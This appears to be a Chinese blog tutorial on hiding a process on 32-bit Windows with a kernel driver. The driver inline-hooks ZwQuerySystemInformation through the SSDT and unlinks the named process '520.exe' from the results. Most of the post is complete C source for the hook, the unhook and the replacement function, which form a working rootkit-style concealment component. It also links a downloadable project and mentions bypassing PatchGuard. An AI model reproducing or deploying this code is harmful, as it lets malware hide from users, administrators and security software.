SSDT Hook 之内核函数ZwQuerySystemInformation实现进程隐藏

大葱

发布日期: 2019-02-27 18:21:09 浏览量: 1876
评分:
star star star star star star star star star star_border
*转载请注明来自write-bug.com

背景

要开始向大家演示 SSDT HOOK 的使用方式,帮助我们的程序实现隐藏或是监控等工作。我们之前也一直提到过,在 32 位系统上,要想实现隐藏或是监控的操作,大多数操作就是对 SSDT 函数各种 HOOK,可以是 SSDT HOOK,也可以是 Inline HOOK。但,这些通过对 SSDT 表内存修改而实现的操作,在 64 位系统上不再适用,因为 64 位系统的 Patch Guard 保护机制,把 SSDT 的内存作为重点保护对象,只要对 SSDT 的内存进行修改,都会触发 Patch Guard,从而导致系统蓝屏。所以,这种 SSDT HOOK 的操作,能正常在 32 位系统上使用。在 64 位上,会导致蓝屏。当然,如果你能使用其它方法突破 64 位的 Patch Guard 保护的话,SSDT 还是仍然可以使用的。

本文主要介绍在 32 位系统上,使用 SSDT Hook ZwQuerySystemInformation 内核函数实现进程隐藏,我们采用的 Inline Hook 方式。现在,我就把实现过程和原理,整理成文档,分享给大家。

实现过程

内核函数 ZwQuerySystemInformation 是一个未公开的函数,那么,我们不能在内核程序中直接获取到这个函数的地址。我们可以看到这个函数是以 Zw 为开头的,所以,我们可以通过 SSDT 表来获取这个内核函数在内核中的调用地址。

在 32 位系统下,SSDT 是导出的,所以可以直接获取 KeServiceDescriptorTable。然后,我们根据 ntdll.dll 获取 ZwQuerySystemInformation 函数的 SSDT 函数索引号。有了这个 SSDT 索引号,我们就可以根据 KeServiceDescriptorTable 获取函数 ZwQuerySystemInformation 在内核中的地址了。

由于我们采用的是 Inline Hook 方式,那么,Hook 的原理就是:修改函数地址前 5 个字节,写入 jmp 跳转语句,跳转到新函数地址上。

在 32 位下,汇编跳转语句为:

  1. jmp _dwNewAddress

机器码为:

  1. e9 _dwOffset(跳转偏移)

其中,要注意理解跳转偏移的计算方法:

  1. addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即 eip 的值
  2. addr2 --> 跳转地址的值,即 _dwNewAddress 的值
  3. 跳转偏移 _dwOffset = addr2 - addr1

那么,在新的 New_ZwQuerySystemInformation 函数中的操作就是:

  • 首先,Unhook 还原 ZwQuerySystemInformation 函数。

  • 然后,传入参数调用 ZwQuerySystemInformation 函数进行执行,获取进程遍历的结果。

  • 接着,继续 Hook ZwQuerySystemInformation 函数。

  • 最后,我们对查询结果进行遍历,将我们要隐藏的进程,从遍历的链表中摘链,实现隐藏,返回操作。

编码实现

Hook

  1. // Inline Hook
  2. BOOLEAN InlineHook()
  3. {
  4. PVOID pSSDTFunctionAddress = NULL;
  5. PMDL pMdl = NULL;
  6. PVOID pNewAddress = NULL;
  7. ULONG ulDataSize = SIZE_SHELLCODE;
  8. UCHAR pData[SIZE_SHELLCODE] = { 0xe9, 0, 0, 0, 0 };
  9. LONG lOffset = 0;
  10. // 获取 SSDT 函数地址
  11. pSSDTFunctionAddress = GetSSDTFunction("ZwQuerySystemInformation");
  12. if (NULL == pSSDTFunctionAddress)
  13. {
  14. DbgPrint("GetSSDTFunction Error!\n");
  15. return FALSE;
  16. }
  17. // 使用 MDL 方式修改 SSDT 函数前 5 字节
  18. pMdl = MmCreateMdl(NULL, pSSDTFunctionAddress, ulDataSize);
  19. if (NULL == pMdl)
  20. {
  21. DbgPrint("MmCreateMdl Error!\n");
  22. return FALSE;
  23. }
  24. MmBuildMdlForNonPagedPool(pMdl);
  25. pNewAddress = MmMapLockedPages(pMdl, KernelMode);
  26. if (NULL == pNewAddress)
  27. {
  28. IoFreeMdl(pMdl);
  29. DbgPrint("MmMapLockedPages Error!\n");
  30. return FALSE;
  31. }
  32. // 计算偏移并修改写入 Shellcode
  33. lOffset = (LONG)((PUCHAR)New_ZwQuerySystemInformation - (PUCHAR)pSSDTFunctionAddress - 5);
  34. RtlCopyMemory((PVOID)((PUCHAR)pData + 1), &lOffset, sizeof(lOffset));
  35. // 保存原来 5 字节数据
  36. RtlCopyMemory(g_pOldData, pNewAddress, ulDataSize);
  37. // 写入 Shellcode
  38. RtlCopyMemory(pNewAddress, pData, ulDataSize);
  39. // 释放
  40. MmUnmapLockedPages(pNewAddress, pMdl);
  41. IoFreeMdl(pMdl);
  42. return TRUE;
  43. }

Unhook

  1. // Inline Unhook
  2. BOOLEAN InlineUnhook()
  3. {
  4. PVOID pSSDTFunctionAddress = NULL;
  5. PMDL pMdl = NULL;
  6. PVOID pNewAddress = NULL;
  7. ULONG ulDataSize = SIZE_SHELLCODE;
  8. // 获取 SSDT 函数地址
  9. pSSDTFunctionAddress = GetSSDTFunction("ZwQuerySystemInformation");
  10. if (NULL == pSSDTFunctionAddress)
  11. {
  12. DbgPrint("GetSSDTFunction Error!\n");
  13. return FALSE;
  14. }
  15. // 使用 MDL 方式修改 SSDT 函数前 5 字节
  16. pMdl = MmCreateMdl(NULL, pSSDTFunctionAddress, ulDataSize);
  17. if (NULL == pMdl)
  18. {
  19. DbgPrint("MmCreateMdl Error!\n");
  20. return FALSE;
  21. }
  22. MmBuildMdlForNonPagedPool(pMdl);
  23. pNewAddress = MmMapLockedPages(pMdl, KernelMode);
  24. if (NULL == pNewAddress)
  25. {
  26. IoFreeMdl(pMdl);
  27. DbgPrint("MmMapLockedPages Error!\n");
  28. return FALSE;
  29. }
  30. // 还原数据
  31. RtlCopyMemory(pNewAddress, g_pOldData, ulDataSize);
  32. // 释放
  33. MmUnmapLockedPages(pNewAddress, pMdl);
  34. IoFreeMdl(pMdl);
  35. return TRUE;
  36. }

新函数

  1. // 新函数
  2. NTSTATUS New_ZwQuerySystemInformation(
  3. IN ULONG SystemInformationClass,
  4. IN PVOID SystemInformation,
  5. IN ULONG SystemInformationLength,
  6. OUT PULONG ReturnLength
  7. )
  8. {
  9. NTSTATUS status = STATUS_SUCCESS;
  10. PSYSTEM_PROCESS sysProcess = NULL;
  11. PSYSTEM_PROCESS preProcess = NULL;
  12. UNICODE_STRING ustrHideProcessName;
  13. typedef NTSTATUS(*typedef_ZwQuerySystemInformation)(
  14. IN ULONG SystemInformationClass,
  15. IN PVOID SystemInformation,
  16. IN ULONG SystemInformationLength,
  17. OUT PULONG ReturnLength);
  18. // 获取 SSDT 函数地址
  19. typedef_ZwQuerySystemInformation pSSDTFunctionAddress = (typedef_ZwQuerySystemInformation)GetSSDTFunction("ZwQuerySystemInformation");
  20. if (NULL == pSSDTFunctionAddress)
  21. {
  22. DbgPrint("GetSSDTFunction Error!\n");
  23. return FALSE;
  24. }
  25. // Unhook
  26. InlineUnhook();
  27. // 执行原函数
  28. status = pSSDTFunctionAddress(SystemInformationClass,
  29. SystemInformation,
  30. SystemInformationLength,
  31. ReturnLength);
  32. // Hook
  33. InlineHook();
  34. // 直接返回
  35. if (!NT_SUCCESS(status))
  36. {
  37. return status;
  38. }
  39. if (5 != SystemInformationClass)
  40. {
  41. return status;
  42. }
  43. // 设置隐藏的进程
  44. RtlInitUnicodeString(&ustrHideProcessName, L"520.exe");
  45. // 获取进程信息
  46. sysProcess = (PSYSTEM_PROCESS)SystemInformation;
  47. preProcess = sysProcess;
  48. // 开始遍历进程, 并从中摘链隐藏进程
  49. while (sysProcess->NextEntryDelta)
  50. {
  51. DbgPrint("[%d]%wZ\n", sysProcess->ProcessId, &sysProcess->ProcessName);
  52. // 隐藏指定进程
  53. if (RtlEqualUnicodeString(&sysProcess->ProcessName, &ustrHideProcessName, TRUE))
  54. {
  55. preProcess->NextEntryDelta = preProcess->NextEntryDelta + sysProcess->NextEntryDelta;
  56. DbgPrint("Hide %wZ Process OK.\n", &ustrHideProcessName);
  57. break;
  58. }
  59. // 继续遍历
  60. preProcess = sysProcess;
  61. sysProcess = (PSYSTEM_PROCESS)((PUCHAR)sysProcess + sysProcess->NextEntryDelta);
  62. }
  63. return status;
  64. }

程序测试

在 Win7 32 位系统上,驱动程序正常执行:

在 Win10 32 位系统上,驱动程序正常执行:

总结

Hook ZwQuerySystemInformation 内核函数实现进程隐藏的本质原理就是摘链,即摘除 ZwQuerySystemInformation 函数进程双向链表中的某个链表。

其中,我们对 SSDT 函数 ZwQuerySystemInformation Inline Hook 的时候,修改内存的方法使用 MDL 方式。

参考

参考自《Windows黑客编程技术详解》一书

上传的附件 cloud_download InlineHook_ZwQuerySystemInformation_Test.7z ( 11.31kb, 21次下载 )

发送私信

这一切都不是我的,但总有一天,会是我的

82
文章数
68
评论数
最近文章
eject